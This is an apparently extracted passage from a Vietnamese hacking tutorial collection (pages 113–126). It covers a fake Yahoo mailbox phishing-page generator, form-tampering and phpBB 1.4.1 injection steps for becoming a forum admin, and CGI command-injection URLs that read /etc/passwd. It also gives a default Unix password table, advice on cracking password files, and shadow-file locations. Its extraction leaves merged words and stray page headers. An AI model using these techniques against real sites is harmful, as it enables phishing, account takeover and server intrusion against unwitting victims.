ypim_i18n_AddList = "+K+"Add List"+K+";n"
  • 113.
    http://wWw.Hack.Cf Page 113 clrar.value+="varypim_i18n_ViewContacts = "+K+"View Contacts"+K+";n" clrar.value+="var ypim_i18n_ViewLists = "+K+"View Lists"+K+";n" clrar.value+="var ypim_i18n_Quickbuilder = "+K+"Quickbuilder"+K+";n" clrar.value+="var ypim_i18n_ImportContacts = "+K+"Import Contacts"+K+";n" clrar.value+="var ypim_i18n_Synchronize = "+K+"Synchronize"+K+";n" clrar.value+="var ypim_i18n_AddressesOptions = "+K+"Addresses Options"+K+";n" clrar.value+="var ypim_i18n_AddressesHelp = "+K+"Addresses Help"+K+";n" clrar.value+="var ypim_i18n_AddEvent = "+K+"Add Event"+K+";n" clrar.value+="var ypim_i18n_AddTask = "+K+"Add Task"+K+";n" clrar.value+="var ypim_i18n_AddBirthday = "+K+"Add Birthday"+K+";n" clrar.value+="var ypim_i18n_Day = "+K+"Day"+K+";n" clrar.value+="var ypim_i18n_Week = "+K+"Week"+K+";n" clrar.value+="var ypim_i18n_Month = "+K+"Month"+K+";n" clrar.value+="var ypim_i18n_Year = "+K+"Year"+K+";n" clrar.value+="var ypim_i18n_EventList = "+K+"Event List"+K+";n" clrar.value+="var ypim_i18n_Reminders = "+K+"Reminders"+K+";n" clrar.value+="var ypim_i18n_Tasks = "+K+"Tasks"+K+";n" clrar.value+="var ypim_i18n_Sharing = "+K+"Sharing"+K+";n" clrar.value+="var ypim_i18n_Synchronize = "+K+"Synchronize"+K+";n" clrar.value+="var ypim_i18n_CalendarOptions = "+K+"Calendar Options"+K+";n" clrar.value+="var ypim_i18n_CalendarHelp = "+K+"Calendar Help"+K+";n" clrar.value+="var ypim_i18n_AddNote = "+K+"Add Note"+K+";n" clrar.value+="var ypim_i18n_AddFolder = "+K+"Add Folder"+K+";n" clrar.value+="var ypim_i18n_ViewNotes = "+K+"View Notes"+K+";n" clrar.value+="var ypim_i18n_NotepadOptions = "+K+"Notepad Options"+K+";n" clrar.value+="var ypim_i18n_NotepadHelp = "+K+"Notepad Help"+K+";n" clrar.value+="</"+F+"CRIPT>n" clrar.value+="<script src="+K+"pulldowns.js"+K+"></"+F+"CRIPT>n" clrar.value+="<DIV id=mail></DIV>n" clrar.value+="<DIV id=addr></DIV>n" clrar.value+="<DIV id=cal></DIV>n" clrar.value+="<DIV class=menubg id=note></DIV><!-- SpaceID=150500014 loc=FAD noad --><!-- SpaceID=150500014 loc=RS noad --><!-- UM: 0.002 --><!-- v3.3.7.1 1055892397 --><!-- 0.04509 --><!-- web13705.mail.yahoo.com compressed Sun Jul 6 05:00:59 PDT 2003 --></BODY></HTML>n" } function dis(){ if (tar.checked==true){tar2.disabled=false} if (tar.checked==false){tar2.disabled=true} } </SCRIPT> <BR><INPUT onclick=gene() type=button value="Vie^'t code cua Fake mailbox">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <INPUT
  • 114.
    http://wWw.Hack.Cf Page 114 onclick='clrar.createTextRange().execCommand("SelectAll");clrar.createTextRange() .execCommand("Copy");'type=button value="Copy toan` bo^. code"><BR><BR> <b><font color="#FF0000">Tao. 1 trang htm voi'' noi dung la` toan` bo^. noi^. dung trong box de^* lam` trang Fake mailbox, gia mao mail box victim</font></b><BR><BR> <TEXTAREA name=clrar rows=16 cols=105> </TEXTAREA> <BR><BR>&nbsp;</SPAN></p> </p> </BODY></HTML> Good tool chứ ???? hihihi, còn khoảng 3-4 Tool nữa tôi đang viết, sẽ hướng dẫn các bạn sử dụng có hiệu quả sau, làm thế nào đánh đâu trúng đó mới khoái ... he he he Author by : tsbeginnervn ( Staff of HVA ) Website : http:// www.vnhacker.org/forum/ Edit by : PTV5 Group Website : http://www.ptv5online.com ; http://www.ptv5online.net …… ###################################################################### # 1-Tấn công vào vùng ẩn: Những phần bị dấu đi trong trang WEB thường chứa những thông tin về các phiên làm việc của "clien",các phiên làm việc này thường ghi ỡ máy khách(clien) chứ không tổ chức CSDL trên máy chủ,vì vậy ta có thể dùng chức năng "View Source" của trình duyệt để đọc phần bị dấu đi và từ đó có thể tìm ra sơ hở của trang WEB mà ta muốn tấn công,ta có thể truy cập vào hệ thống của máy chủ này... Ví dụ có một website cho phép bạn sữa các cấp thành viên làm Mod, Member, Banned, nhưng không cho phép sửa lên thành Admin. Bạn thử view code, bạn có thể thấy như sau:(đây là ví dụ thôi tuỳ trường hợp) QUOTE ..... <form action="" method="post" name="settings" > .....
  • 115.
    http://wWw.Hack.Cf Page 115 <selectclass=search name=status> <option value=1>Moderator</option> <option selected value=2>Member</option> <option value=3>Banned</option> </select> ..... Hãy suy luận một tí nhé: Banned: value=3, Member: value=2, Moderator: value=1. Vậy thì Admin là mấy??? Có thể là 0 okie tiếp tục nào: Lưu lại trang setting member đó, edit HTML code trong đó, sửa lại đoạn Select: QUOTE ..... <form action="" method="post" name="settings" > ..... <select class=search name=status> <option value=0>Admin </option> <option value=1>Moderator</option> <option selected value=2>Member</option> <option value=3>Banned</option> </select> ..... Bây giờ hãy mỡ trang web đó lên và nhấn "submit" nào,vẩn không có chuyện gì xãy ra cã sao vậy à quên xem chổ này: <form action="" thì khi nhấn "submit" thì nó truyền dữ liệu là các biến cho file nó đang load vậy ta hãy sữa lại một tí nhé ta copy url trên trình duyệt mà ta đang lưu file đó ví dụ: QUOTE http://www.tinhban.com/phpbb/member.php vậy sẽ trỡ thành như sau:
  • 116.
    http://wWw.Hack.Cf Page 116 QUOTE ..... <formaction="http://www.tinhban.com/phpbb/member.php" method="post" name="settings" > ..... <select class=search name=status> <option value=0>Admin </option> <option value=1>Moderator</option> <option selected value=2>Member</option> <option value=3>Banned</option> </select> ..... Bây giờ nhấn "submit" một lần nữa xem sao,bạn có thể thành công nếu như code ẩu vâng một số trường hợp áp dụng rất tốt đấy Một ví dụ điển hình nữa là ta có thể truy cập thành ADMIN của forum phpbb 1.4.1 thông qua việc sữa đổi thông tin ẩn của trang web để truy cập vào hệ thống với quyền cao hơn Version phpbb 1.4.1 Đănng ký làm thành viên và vào profile và "View Source" và sữa đổi như sau: Thay thế dòng: QUOTE <input type="checkbox" name="viewemail' value="1"> thành QUOTE <input type="text" name="viewemail' value="1',user_level=4'"> Sữa QUOTE <form action="./profile.php" method="post"> Thành QUOTE <form action="http://target/phpbb2/profile.php" method="post">
  • 117.
    http://wWw.Hack.Cf Page 117 vànhấn "submit" >bạn trở thành admin của forum thật dể dàng phải không 2-Can thiệp vào tham số trên URL: Đây là cách tấn công đưa tham số trực tiếp vào URL,kẽ tấn công có thể dùng các câu lệnh SQL để khai thác CSDL trên server bị lổi,điển hình nhất là tấn công bằng lổi "SQL INJECT"(chú ý: Hầu hết các trang web của VN đều bị lổi này) cách khai thác lổi này hãy đọc kỹ bài viết của WINDAK và Nhóm Vicki và các bài viết liên quan của các thành viên trong forum của chúng ta,tấn công kiểu này rất gọn nhẹ nhưng vô cùng hiệu quả chỉ dùng công cụ tấn công duy nhất là trình duyệt WEB và backdoor(up lên server) lời khyên nên dùng minibrowse vào http://flash.to/nhomvicki mà download vì nó không bị lổi time out. 3-Tấn công dùng cookie: Giới thiệu về cookie cookie là những phần dữ liệu nhỏ có cấu trú được chia sẻ giữa web site và browser của người dùng. cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k). Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin về người dùng đã ghé thăm site và những vùng mà họ đi qua trong site. Những thông tin này có thể bao gồm tên/định danh người dùng, mật khẩu, sở thích, thói quen... cookie được browser của người dùng chấp nhận lưu trên đĩa cứng của máy mình, ko phải browser nào cũng hỗ trợ cookie. Sau một lần truy cập vào site, những thông tin về người dùng được lưu trữ trong cookie. Ở những lần truy cập sau đến site đó, web site có thể dùng lại những thông tin trong cookie (như thông tin liên quan đến việc đăng nhập vào 1 forum...) mà người ko phải làm lại thao tác đăng nhập hay phải nhập lại các thông tin khác. Vấn đề đặt ra là có nhiều site quản lý việc dùng lại các thông tin lưu trong cookie ko chính xác, kiểm tra ko đầy đủ hoặc mã hoá các thông tin trong cookie còn sơ hở giúp cho hacker khai thác để vượt qua cánh cửa đăng nhập, đoạt quyền điêu khiển site; cũng có nhiều site sử dụng những thông tin cá nhân của người dùng để phục vụ cho các mục đích khác như quảng cáo, hoặc thậm chí bán thông tin của người dùng cho khách hàng khác (vd: nếu đột nhiên bạn nhận vài email quảng cáo mỗi ngày được gửi vào mail box của bạn mà ko biết tại sao, thì có thể là thông tin cá nhân của bạn đã bị một site nào đó mà bạn từng xem sử dụng) Các thành phần của cookie Tên: do người lập trình web site chọn Domain: là tên miền từ server mà cooki e được tạo và gửi Đường dẫn: thông tin về đường dẫn ở web site mà bạn đang xem Ngày hết hạn: là thời điểm mà cookie hết hiệu lực Bảo mật: Nếu giá trị này đựơc thiết lập bên trong cookie, thông tin sẽ đựơc
  • 118.
    http://wWw.Hack.Cf Page 118 mãhoá trong quá trình truyền giữa server và browser. Các giá trị khác: là những dữ liệu đặc trưng được web server lưu trữ để nhận dạng về sau các giá trị này ko chứa các khoảng trắng, dấu chấm, phẩy và bị giới hạn trong khoảng 4k. cookies của Netscape (NS) đặt trong file cookies.txt, trong thư mục cài đặt NS Usersdefault (hoặc UserYourname), còn của IE thường đặt trong Documents and SettingsUsernamecookiesusername@sitename.txt. (đối với win9x, thư mục cookies nằm trong thư mục Windows/cookies) Netscape là trình duyệt đầu tiên sử dụng cookie, kế đến là IE của microsoft. Các thông tin khác về cookie thêm về cookie, các bạn có thể tham khảo thêm ở http://www.cooki_ecentral.com/ Khai thác cookie Ưu điểm của việc sử dụng cookie đã rõ ràng, việc lưu trữ và dùng lại các thông tin đăng nhập sẽ giúp người dùng tiết kiệm thời gian trong việc duyệt các web site. Tuy nhiên, bên cạnh những lợi ích của nó. cookie là một trong những nguyên nhân gây tiết lộ thông tin riêng tư của người dùng. Những người biết tận dụng những thông tin này có thể gây nên những hậu quả nghiêm trọng. VD: một hacker làm việc ở một ngân hàng có thể tìm cách xem thông tin trong cookie của khách hàng và sử dụng thông tin này để truy cập vào acc của khách hàng đó. Hoặc hacker có thể tìm cách trộm cookie của admin 1 website và từ đó có thể dễ dàng chiếm được quyền điều khiển site. Những browser hiện nay cho phép người dùng khóa cookie hoặc hỏi họ trước khi lưu lại cookie trên hệ thống. Cũng có nhiều software giúp người dùng quản lý tốt cookie, giúp ngăn chặn hoặc cảnh báo những nguy cơ có thể gây hại. (Còn tiếp: tôi sẽ giới thiệu cho các bạn cách hack một vài kiểu forum bằng cách khai thác thông tin trong cookie và phương pháp lấy cookie từ một vài kiểu forum chưa fix) 4-Các lổ hổng bảo mật: Hiện nay các lổ hổng được phát hiện ra ngày càng nhiều về hệ điều hành,máy chủ WEB,và các phần mềm của các hảng khác...Tuy khi phát hiện ra được và có bổ sung các bảng path nhưng các khách hàng không cập nhật thường xuyên nên là cơ hội cho các hacker tấn công.Hiện nay trong box lổi bảo mật của chúng ta các lổi bảo mật luôn được cập nhật thường xuyên(nhờ có đôi ngũ Mod năng động như L...)còn việc khai thác các lổ hổng như thế nào thì tuy thuộc sự linh hoạt năng động của từng người...Chứ khôgn thể hướng dẩn từng chi tiết một cho các bạn được vì còn rất nhiều việc phải làm nữa nên các bạn phải tự mày mò tìm hiểu để bổ sung vào kiến thức của mình 5-Cấu hình không an toàn:
  • 119.
    http://wWw.Hack.Cf Page 119 Đâylà lỗ hổng do ứng dụng có các thiết lập mặc định không an toàn hoặc do người quản trị hệ thống định cấu hình không an toàn. Ví dụ như cấu hình Web server cho phép bấy kỳ ai cũng có quyền duyệt qua hệ thống thư mục. Việc này có thể làm lộ các thông tin nhạy cảm như mã nguồn, mật khẩu hay thông tin của khách hàng. Việt cấu hình không an toàn này rất nguy hiểm vì khi ta duyệt được các file như pass thì ta có thể download và giải mã...Có rất nhiều lổi về cấu hình không an toàn này,đã làm cho không bao nhiêu người phải khốn đốn. 6-Tràn bộ đệm: Tình trạng tràn bộ đệm xảy ra khi dữ liệu được gửi đến ứng dụng nhiều hơn mong đợi. Kỹ thuật tấn công này có thể làm cho hệ thống bị tê liệt hoặc làm cho hệ thống mất khả năng kiểm soát. Xem bài viết của nhóm Vicki về cách khai thác lổi tràn bộ đệm Chèn mã lệnh: Đây là kỹ thuật chèn mã lệnh vào trang Web từ máy khách. Kỹ thuật này cho phép hacker đưa mã lệnh thực thi vào phiên làm việc trên Web của một người dùng khác. Khi đoạn mã lệnh này chạy, nó sẽ cho phép hacker làm đủ thứ chuyện, từ giám sát phiên làm việc trên Web cho đến toàn quyền điều khiển máy tính của khổ chủ. Một ví dụ điển hình đó là lổi của web dùng cgi các hacker có thể dùng lệnh unix trên trình duyệt của mình như ví dụ sau: QUOTE http://target/index.cgi?page=index.cgi http://target/index.cgi?page=index.cgi >xem mã nguồn file index.cgi http://target/index.cgi?page=index.cgiswd >xem file passwd của server http://target/index.cgi?page=index.cgils -la http://target/index.cgi?page=index.cgi http://target/index.cgi?page=index.cgi >dùng lệnh unix Bạn phải linh hoạt trong cách tấn công của mình 7-Không cần log-in: Nếu ứng dụng không được thiết kế chặt chẻ, không ràng buộc trình tự các
  • 120.
    http://wWw.Hack.Cf Page 120 bướckhi duyệt ứng dụng thì đây sẽ là một lỗ hổng bảo mật và hacker có thể lợi dụng để truy cập thẳng đến các trang thông tin bên trong mà không cần phải qua bước đăng nhập. 8-Eavesdropping(nghe trộm): Một cách chung chung phần lớn các hệ thống mạng truyền đạt thông tin qua mạng không chắt chắn lắm,nên nó giúp các Attacker có thể truy cập vào data paths để "listen in" hoặc "read" luồng dữ liệu chuyển qua.Khi các Attacker nghe trộm sự truyền đạt thông tin nó sẽ chuyển đến "sniffing" or "snooping".Năng lực của nghe trộm là giám sát hệ thống mạng nó sẽ thu thập được những thông tin quý giá về hệ thống đó,có thể là một packet chứa passwd và user.Các chương trình này gọi là các "sniffing" có nhiệm vụ lắng nghe các cổng của một hệ thống mà các hacker muốn tấn công,nó sẽ thu thập các dữ liệu chuyển qua các cổng này và chuyển về cho các attacker. 9-Data Modification(thay đổi dữ liệu): Sau khi các attacker đọc được dữ liệu của môt hệ thống nào đó,họ có thể thay đổi mà không cần quan tâm đến người gỡi và người nhận.Thậm chí nó không có đòi hỏi sự cẩn trọng trong sự chuyển dịch thông tin ,thì bạn có thể sữa đổi những thông tìn từ những packet này một cách dể dàng ví dụ như trong một cuộc giao dich nào đó bạn có thể thay đổi thông tin về giá trị của sãn phẩm...Có nhiều thứ mà các ATK quan tâm(hãy cẩn thận) 10-Password-Based Attacks: Thông thường một hệ thống nào đó khi mới cấu hình thì cũng có một User và pass mặt định,những một số admin của hệ thống sau khi config xong thì không đổi,đây là cơ hội để có thể giúp các ATK xâm nhập vào một cách đường đường chính chính,khi đã vào rồi thì họ có thể tạo thêm user,cài backdoỏ để cho lần viếng thăm sau...Lời khuyên khi cài và config xong hay thay đổi pass mặt định. 11-Identity Spoofing (IP Address Spoofing): Hầu như các hệ thống mạng trên thế giới này đều sữ dụng IP address để nhận biết sự tồn tại của mình,vì vậy IP là sự quan tâm hàng đầu của các ATK,khi hack vào bất cứ hệ thống mạng nào thì cũng phải biết địa chỉ IP của hệ thống mạng đó.Các ATK sẽ giã mạo IP address để thâm nhập vào hệ thống đó và sau đó có thể làm gì mình thích như cấu hình lại hệ thống đó,sữa đổi thông tin ... có rất nhiều thứ mà họ quan tâm Còn nhiều kiểu tấn công khác nữa các bạn có thể tìm hiểu thêm trên net biết đâu chính bạn tạo ra một phương pháp mới thì sao có thể lắm chứ tự tin lên các bạn.
  • 121.
    http://wWw.Hack.Cf Page 121 ####################################################################### Authorby : Anhdenday ( Staff of HVA ), and Hackertt ( Staff of HVA ) Website : http:// www.vnhacker.org/forum/ Edit by : PTV5 Group Website : http://www.ptv5online.com ; http://www.ptv5online.net …… ####################################################################### Tự bạch : Nhiều bạn Newbie có hỏi tôi “ Hack là như thế nào ? Làm sao để hack ?” Nhưng các bạn đã quên mất một điều là các bạn cần phảI có kiến thức một cách tổng quát , hiểu các thuật ngữ mà những người rành về mạng hay sử dụng . Riêng tôi thì chưa thật giỏi bao nhiêu nhưng qua nghiên cứu tôi cũng đã tổng hợp được một số kiến thức cơ bản , muốn chia sẻ cho tất cả các bạn , nhằm cùng các bạn học hỏi . Tôi sẽ không chịu trách nhiệm nếu các bạn dùng nó để quậy phá ngườI khác . Các bạn có thể copy hoặc post trong các trang Web khác nhưng hãy điền tiên tác giả ở dướI bài , tôn trọng bài viết này cũng chính là tôn trọng tôi và công sức của tôi , đồng thờI cũng tôn trọng chính bản thân các bạn . Trong này tôi cũng có chèn thêm một số cách hack , crack và ví dụ căn bản , các bạn có thể ứng dụng thử và nghiên cứu đọc nó để hiểu thêm , rồ khi bắt gặp một từ mà các bạn không hiểu thì hãy đọc bài này để biết , trong này tôi có sử dụng một số ý của bài viết mà tôi thấy rất hay từ trang Web của HVA , và các trang Web khác mà tôi đã từng ghé thăm . Xin cảm ơn những tác giả đã viết những bài ấy . Bây giờ là vấn đề chính . ==================================================== 1 . ) Ta cần những gì để bắt đầu ? Có thể nhiều bạn không đồng ý với tôi nhưng cách tốt nhất để thực tập là các bạn hãy dùng HĐH Window 9X , rồI đến các cái khác mạnh hơn đó là Linux hoặc Unix , dướI đây là những cái bạn cần có : + Một cái OS ( có thể là DOS , Window 9X , Linux , Unit ….) + Một cái trang Web tốt ( HVA chẳng hạn hi`hi` ) + Một bộ trình duyệt mạng tốt ( là Nescape , IE , nhưng tốt nhất có lẽ là Gozzila ) + Một công cụ chat tốt ( mIRC ,Yahoo Mass …..) + Telnet ( hoặc những cái tương tự như nmap …) + Cái quan trọng nhất mà bất cứ ai muốn trở thành một hacker là đều phảI có một chút kiến thức về lập trình ( C , C++ , Visual Basic , Pert …..) 2 . ) Thế nào là một địa chỉ IP ? _ Địa chỉ IP được chia thành 4 số giới hạn từ 0 - 255. Mỗi số được lưu bởi 1 byte -> !P có kicks thước là 4byte, được chia thành các lớp địa chỉ. Có 3 lớp là A, B, và C. Nếu ở lớp A, ta sẽ có thể có 16 triệu điạ chỉ, ở lớp B có 65536 địa chỉ. Ví dụ: Ở lớp B với 132.25,chúng ta có tất cả các địa chỉ từ 132.25.0.0 đến 132.25.255.255. Phần lớn các địa chỉ ở lớp A llà sở hữu của các công ty hay của tổ chức. Một ISP thường sở hữu một vài địa chỉ lớp B hoặc C. Ví dụ: Nếu địa chỉ IP của bạn là 132.25.23.24 thì bạn có thể xác định ISP của bạn là ai. ( có IP là 132.25.x.) _ IP là từ viết tắt của Internet Protocol, trên Internet thì địa chỉ IP của mỗI người là
  • 122.
    http://wWw.Hack.Cf Page 122 duynhất và nó sẽ đạI diện cho chính ngườI đó, địa chỉ IP được sử dụng bởi các máy tính khác nhau để nhận biết các máy tính kết nối giữa chúng. Đây là lí do tại sao bạn lại bị IRC cấm, và là cách người ta tìm ra IP của bạn. Địa chỉ IP có thể dễ dàng phát hiện ra, người ta có thể lấy được qua các cách sau : + bạn lướt qua một trang web, IP của bạn bị ghi lại + trên IRC, bất kì ai cũng có thể có IP của bạn + trên ICQ, mọi người có thể biết IP của bạn, thậm chí bạn chọn "do not show ip" người ta vẫn lấy được nó + nếu bạn kết nối với một ai đó, họ có thế gõ "systat –n ", và biết được ai đang kết nối đên họ + nếu ai đó gửi cho bạn một email với một đoạn mã java tóm IP, họ cũng có thể tóm được IP của bạn ( Tài liệu của HVA ) 3 . ) Làm thế nào để biết được địa chỉ IP của mình ? _ Trong _ Trong mIRC : kết nốI đến máy chủ sau đó đánh lệnh “/dns <your nick>” _ Thông qua một số trang Web có hiển thị IP . 4 . ) IP Spoofing là gì ? _ Một số IP có mục đích để xác định một thiết bị duy nhất trên thế giới. Vì vậy trên mạng một máy chủ có thể cho phép một thiết bị khác trao đổi dữ liệu qua lại mà không cần kiểm tra máy chủ. Tuy nhiên có thể thay đổi IP của bạn, nghĩa là bạn có thể gởi một thông tin giả đến một máy khác mà máy đó sẽ tin rằng thông tin nhận được xuất phát từ một máy nào đó (tất nhiên là không phải máy của bạn). Bạn có thể vượt qua máy chủ mà không cần phải có quyền điều khiến máy chủ đó. Điều trở ngại là ở chỗ những thông tin phản hồi từ máy chủ sẽ được gởi đến thiết bị có IP mà chúng ta đã giả mạo. Vì vậy có thể bạn sẽ không có được sự phản hồi những thông tin mà mình mong muốn. Có lẽ điều duy nhất mà spoof IP có hiệu quả là khi bạn cần vượt qua firewall, trộm account và cần dấu thông tin cá nhân! ( Tài liệu của HVA ) 5 . ) Trojan / worm / virus / logicbomb là cái gì ? _ Trojan : Nói cho dễ hiểu thì đây là chương trình điệp viên được cài vào máy của ngườI khác để ăn cắp nhũng tài liệu trên máy đó gửI về cho chủ nhân của nó , Cái mà nó ăn cắp có thể là mật khẩu , accourt , hay cookie ………. tuỳ theo ý muốn của ngườI cài nó . _ virus : Nói cho dễ hiểu thì đây là chương trình vớI những mã đặc biệt được cài ( hoặc lây lan từ máy khác ) lên máy của nạn nhân và thực hiện những yêu cầu của mã đó , đa số virut được sử dụng để phá hoạI dữ liệu hoặc phá hoạI máy tính . _ worm : Đây là chương trình độc lập có thể tự nhân bản bản thân nó và lây lan khắp bên trong mạng .Cũng giống như Virut , nó cũng có thể phá hoạI dữ liệu , hoặc nó có thể phá hoạI bên trong mạng , nhiều khi còn làm down cả mang đó . _ logicbomb : Là chương trình gửi một lúc nhiều gói dữ liệu cho cùng một địa chỉ , làm ngập lụt hệ thống , tắt nghẽn đường truyền ( trên server ) hoặc dùng làm công cụ để “khủng bố” đốI phương ( bom Mail ) ;) .
  • 123.
    http://wWw.Hack.Cf Page 123 6. ) PGP là gì ? _ PGP là viết tắt của từ “Pretty Good Privacy” , đây là công cụ sử dụng sự mã hoá chìa khoá công cộng để bảo vệ những hồ sơ Email và dữ liệu , là dạng mã hoá an toàn cao sử dụng phần mềm cho MS_DOS , Unix , VAX/VMS và cho những dạng khác . 7 . ) Proxy là gì ? _Proxy cung cấp cho người sử dụng truy xuất internet với những host đơn. Những proxy server phục vụ những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dung sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp đến những yêu cầu từ clientđến server, cũng như đáp ứng những yêu cầu của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client . _ Proxy cho user truy xuất dịch vụ trên internet theo nghĩa trực tiếp. Với dual host homed cần phải login vào host trước khi sử dụng dịch vụ nào trên internet. Điều này thường không tiện lợi, và một số người trể nên thất vọng khi họ có cảm giác thông qua firewall, với proxy nó giải quyết được vấn đề này. Tất nhiên nó còn có những giao thức mới nhưng nói chung nó cũng khá tiện lợi cho user. Bởi vì proxy cho phép user truy xuất những dịch vụ trên internet từ hệ thống cá nhân của họ, vì vậy nó không cho phép packet đi trực tiếp giữa hệ thống sử dụng và internet. đường đi là giáng tiếp thông qua dual homed host hoặc thông qua sự kết hợp giữa bastion host và screening rounter. ( Bài viết của Z3RON3 – tài liệu của HVA ) 8 . ) Unix là gì ? _ Unix là một hệ điều hành ( giống Window ) .Nó hiện là hệ điều hành mạnh nhất , và thân thiết với các Hacker nhất . Nếu bạn đã trở thành một hacker thật sự thì HĐH này không thể thiếu đối vớI bạn . Nó được sử dụng hỗ trợ cho lập trình ngôn ngữ C . 9 . ) Telnet là gì ? _ Telnet là một chương trình cho phép ta kết nốI đến máy khác thông qua cổng ( port ) . MọI máy tính hoặc máy chủ ( server ) đều có cổng , sau đây là một số cổng thông dụng : + Port 21: FTP + Port 23: Telnet + Port 25: SMTP (Mail) + Port 37: Time + Port 43: Whois _ Ví dụ : bạn có thể gọI Telnet để kết nốI đến mail.virgin.net trên port 25 . 10 . ) Làm thế nào để biết mình đã Telnet đến hệ thống Unix ?
  • 124.
    http://wWw.Hack.Cf Page 124 _Ok , tôi sẽ nói cho bạn biết làm sao một hệ thống Unix có thể chào hỏI bạn khi bạn kết nối tới nó . Đầu tiên , khi bạn gọi Unix , thông thường nó sẽ xuất hiện một dấu nhắc : “ Log in : ” , ( tuy nhiên , chỉ với như vậy thì cũng chưa chắc chắn đây là Unix được ngoạI trừ chúng xuất hiện thông báo ở trước chữ “ log in :” như ví dụ : Welcome to SHUnix. Please log in ….) Bây giờ ta đang ở tạI dấu nhắc “log in” , bạn cần phảI nhập vào một account hợp lệ . Một account thông thường gồm có 8 đặc tính hoặc hơn , sau khi bạn nhập account vào , bạn sẽ thấy có một mật khẩu , bạn hãy thử nhập Default Password thử theo bảng sau : Account-------------------------Default Password Root-----------------------------------------------Root Sys------------------------------------------------Sys / System / Bin Bin-------------------------------------------------Sys / Bin Mountfsy------------------------------------------Mountfsys Nuuc-----------------------------------------------Anon Anon-----------------------------------------------Anon User------------------------------------------------User Games---------------------------------------------Games Install----------------------------------------------Install Demo-----------------------------------------------Demo Guest----------------------------------------------Guest 11 . ) shell account là cái gì ? _ Một shell account cho phép bạn sử dụng máy tính ở nhà bạn như thiết bị đầu cuốI ( terminal ) mà vớI nó bạn có thể đánh lệnh đến một máy tính đang chạy Unix , “Shell” là chương trình có nhiệm vụ dịch những ký tự của bạn gửi đến rồI đưa vào thực hiện lệnh của chương trình Unix . VớI một shell account chính xác bạn có thể sử dụng được một trạm làm việc mạnh hơn nhiều so vớI cái mà bạn có thể tưởng tượng đến được . Bạn có thể lấy được “shell account” miễn phí tạI trang Web www.freeshell.com tuy nhiên bạn sẽ không sử dụng được “telnet” cho đến khi bạn trả tiền cho nó . 12 . ) Làm cách nào để bạn có thể crack Unix account passwords ? _ Rất đơn giản , tuy nhiên cách mà tôi nói vớI các bạn ở đây “lạc hậu” rồI , các bạn có thể crack được chúng nếu các bạn may mắn , còn không thì các bạn đọc để tham khảo . _ Đầu tiên bạn hãy đăng nhập vào hệ thống có sử dụng Unix như một khách hàng hoặc một ngườI khách ghé thăm , nếu may mắn bạn sẽ lấy được mật khẩu được cất dấu trong những hệ thống chuẩn như : /etc/passwd mỗi hàng trong một hồ sơ passwd có một tài khoản khác nhau , nó giống như hàng này :
  • 125.
    http://wWw.Hack.Cf Page 125 userid:password:userid#:groupid#:GECOSfield:home dir:shell trong đó : + userid = the user id name : tên đăng nhập : có thể là một tên hoặc một số . + password : mật mã . Dùng để làm gì hẳn các bạn cũng biết rồI . + userid# : là một số duy nhất đựơc thông báo cho ngườI đăng ký khi họ đăng ký mớI ở lần đầu tiên . + groupid# : tương tự như userid# , nhưng nó được dùng cho những ngườI đang ở trong nhóm nào đó ( như nhóm Hunter Buq của HVA chẳng hạn ) + GECOS FIELD : đây là nơi chứa thông tin cho ngườI sử dụng , trong đó có họ tên đầy đủ , số điện thoại , địa chỉ v.v…. . Đây cũng là nguồn tốt để ta dễ dàng crack một mật khẩu . + home dir : là thư mục ghi lạI hoạt động của người khách khi họ ghé thăm ( giống như mục History trong IE vậy ) + Shell : đây là tên của shell mà nó tự động bắt đầu khi ta login . _ Hãy lấy file password , lấy file text đã mã hoá về , sau đó bạn dùng chương trình "CrackerJack" hoặc "John the Ripper" để crack . _ Các bạn thấy cũng khá dễ phảI không ? Sai bét , không dễ dàng và may mắn để bạn có thể crack được vì hầu hết bây giờ họ cất rất kỹ , hãy đọc tiếp bạn sẽ thấy khó khăn chỗ nào . 13 . ) shadowed password là cái gì ? _ Một shadowed password được biết đến là trong file Unix passwd , khi bạn nhập một mật khẩu , thì ngườI khác chỉ thấy được trình đơn của nó ( như ký hiệu “ X ” hoặc “ * ” ) . Cái này thông báo cho bạn biết là file passwd đã được cất giữ ở nơi khác , nơi mà một ngườI sử dụng bình thường không thể đến được . Không lẽ ta đành bó tay , dĩ nhiên là đốI vớI một hacker thì không rùi , ta không đến được trực tiếp file shadowed password thì ta hãy tìm file sao lưu của nó , đó là file Unshadowed . Những file này trên hệ thống của Unix không cố định , bạn hãy thử vớI lần lượt những đường dẫn sau : CODE AIX 3 /etc/security/passwd ! or /tcb/auth/files/<first letter #of username>/<username> A/UX 3.0s /tcb/files/auth/?/ * BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files/<first letter *of username>/<username> SunOS4.1+c2 /etc/security/passwd.adjunct =##username SunOS 5.0 /etc/shadow <optional NIS+ private secure
  • 126.
